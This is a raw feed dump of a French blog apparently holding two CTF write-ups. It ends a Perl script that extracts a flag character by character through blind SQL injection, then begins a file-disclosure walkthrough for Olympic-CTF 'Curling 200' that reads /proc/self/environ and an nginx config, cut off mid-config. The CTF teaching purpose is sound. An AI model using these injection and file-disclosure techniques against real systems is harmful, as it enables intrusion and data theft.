&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: red;&quot;&gt;&#39;password&#39;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;co2&quot; style=&quot;color: #009966; font-style: italic;&quot;&gt;/True/i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$found&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$start&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;.=&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$found&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;[*]FLAG: $Flag&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;__END__&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
Le script lançait on récupérait rapidement les flags et la request d&#39;authentification était envoyée:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWdMy79kKEyD8SlSjWRMMRER-iP0vZuEhnq9lLBRTEVNdXR11zDKXeZmcP3Pg9jJPu0DZYzPMW99_gecAtnZ2bwoQrFNSThrAfl7bCQ4H7EWK2rWzqdd37x5JZRKFCDS5G-WeTJrha8OV/s1600/Sqli_pass.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWdMy79kKEyD8SlSjWRMMRER-iP0vZuEhnq9lLBRTEVNdXR11zDKXeZmcP3Pg9jJPu0DZYzPMW99_gecAtnZ2bwoQrFNSThrAfl7bCQ4H7EWK2rWzqdd37x5JZRKFCDS5G-WeTJrha8OV/s1600/Sqli_pass.png&quot; height=&quot;310&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Il était H-10 avant la fin du CTF au moment ou je lançait cet exploit et hélas encore mal optimisé notamment dans les requêtes SQL, il n&#39;aura pas pu permettre de validé, une fois de plus ...&lt;br /&gt;
&lt;br /&gt;
Cependant c&#39;est une excellente base de travail il me semble , ce CTF de part ces épreuves et pas que celle-ci m&#39;aura encore une fois tiré vers le haut alros j&#39;espère que le write-up vous aura plu et pour finir en beauté vous trouverez en fin d&#39;article des liens y compris vers le write up de ce challenge.&lt;br /&gt;
&lt;br /&gt;
En réalité il était bien plus complexe qu&#39;il n&#39;y parait mais en toute honnêteté avec un peu de temps en plus, on le tombais et j&#39;en suis convaincu !&lt;br /&gt;
&lt;br /&gt;
Merci à vous amis lecteur ainsi qu&#39;aux membre de l&#39;équipe &lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;sec0d&lt;/span&gt;&lt;/b&gt; !!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://securetty.standard.io/post/77692636735/codegate-2014-ctf-web-120-write-up&quot; target=&quot;_blank&quot;&gt;Write-up de 120 par 0xBADCA7&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://drive.google.com/file/d/0B0FNzRUV7yjwYnVCeS04YS1YcEU/edit?usp=sharing&quot; target=&quot;_blank&quot;&gt;Exploit perl par kmkz&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://pastebin.com/A4vmrpZv&quot; target=&quot;_blank&quot;&gt;code php + html du challenge&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://bugs.php.net/bug.php?id=44366&quot; target=&quot;_blank&quot;&gt;Bug #44366 de PHP concernant le null byte poisoning / eregi bypassing&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1358955979738365724/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1358955979738365724' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1358955979738365724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1358955979738365724'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2014/02/write-up-120-codegate-web-500.html' title='[Write Up] 120 (Codegate web 500)'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWdMy79kKEyD8SlSjWRMMRER-iP0vZuEhnq9lLBRTEVNdXR11zDKXeZmcP3Pg9jJPu0DZYzPMW99_gecAtnZ2bwoQrFNSThrAfl7bCQ4H7EWK2rWzqdd37x5JZRKFCDS5G-WeTJrha8OV/s72-c/Sqli_pass.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-5807421213526067719</id><published>2014-02-09T18:26:00.006+01:00</published><updated>2014-02-09T18:30:12.485+01:00</updated><title type='text'>[Write Up] Xnginx: Curling 200 (Olympic-CTF)</title><content type='html'>Le voici, le voila: le fameux Curling200 !!&lt;br /&gt;
&lt;br /&gt;
Ce challenge (non résolu à temps et pourtant..) avait pour intitulé:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;flag is there&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;&quot;&gt;
&lt;i style=&quot;box-sizing: border-box;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;Flag format: CTF{..32 hexes..}&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Alors.. celui-ci nous aura vraiment fait trés trés mal..&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Au début tout allait bien puisqu&#39;aprés quelques recherche la première intuition (lfi) dû à un paramètre qui semblait &quot;suspect&quot; à savoir&amp;nbsp;http://109.233.61.11:27280/news/?&lt;b&gt;retpath=/news/ &lt;/b&gt;nous semblait être une piste sérieuse notamment quand un scan sous W3AF nous donna ceci:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZrX-wejMcVxSSnHagLCQOJQi-4RMYWyuSOJQeR5cFdpRwsv2Gn8s6eu_zhU0o4DhlR_D79zDC-rCl2Wz_sl6M46uqB3YwM67pCCsFJxMum7K_BR5k5kNfsxmjJyoigZq1pYfvIt6hO2lu/s1600/lfi.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZrX-wejMcVxSSnHagLCQOJQi-4RMYWyuSOJQeR5cFdpRwsv2Gn8s6eu_zhU0o4DhlR_D79zDC-rCl2Wz_sl6M46uqB3YwM67pCCsFJxMum7K_BR5k5kNfsxmjJyoigZq1pYfvIt6hO2lu/s1600/lfi.png&quot; height=&quot;59&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
La on s&#39;est dis: super \o/ , d&#39;autant que /proc/self/environ étant aussi accessible.. oui mais voila, cette piste la nous aura fait d&#39;hors et déja perdre énormément de temps avant que l&#39;on comprenne qu&#39;il s&#39;agissait plus d&#39;un file disclosure qu&#39;autre chose!&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Comment l&#39;a-t-on découvert?&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
Comme ceci:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKirfsiYbYbhNtFe_A3Jf920gOt8ckvbC7Rrwn0681AY8tEEast8TGVS_DZCFqBHWbg2K0ccU1GgAlQqqKPACFlNPFDPHBi5yrEr8BxCkX2kX3OyBSv-JgRu-L74tL-9ikufe8ij4z519r/s1600/conf.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKirfsiYbYbhNtFe_A3Jf920gOt8ckvbC7Rrwn0681AY8tEEast8TGVS_DZCFqBHWbg2K0ccU1GgAlQqqKPACFlNPFDPHBi5yrEr8BxCkX2kX3OyBSv-JgRu-L74tL-9ikufe8ij4z519r/s1600/conf.png&quot; height=&quot;68&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: left;&quot;&gt;
une fois ré-indenté cela donne quelque chose comme:&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;#listen &amp;nbsp; 80; ## listen for ipv4; this line is default and implied&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;#listen &amp;nbsp; [::]:80 default ipv6only=on; ## listen for ipv6&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp;root /usr/share/nginx/www;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp;index index.html index.htm;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp;# Make site accessible from http://localhost/&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp;server_name localhost;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;location / {&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; limit_req zone=one burst=5 nodelay;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; proxy_pass http://127.0.0.1:5001;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;location = /secret/flag {&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; root /home;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: purple; font-size: 14px; line-height: 20px;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; internal;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; margin-bottom: 10px;&quot;&gt;
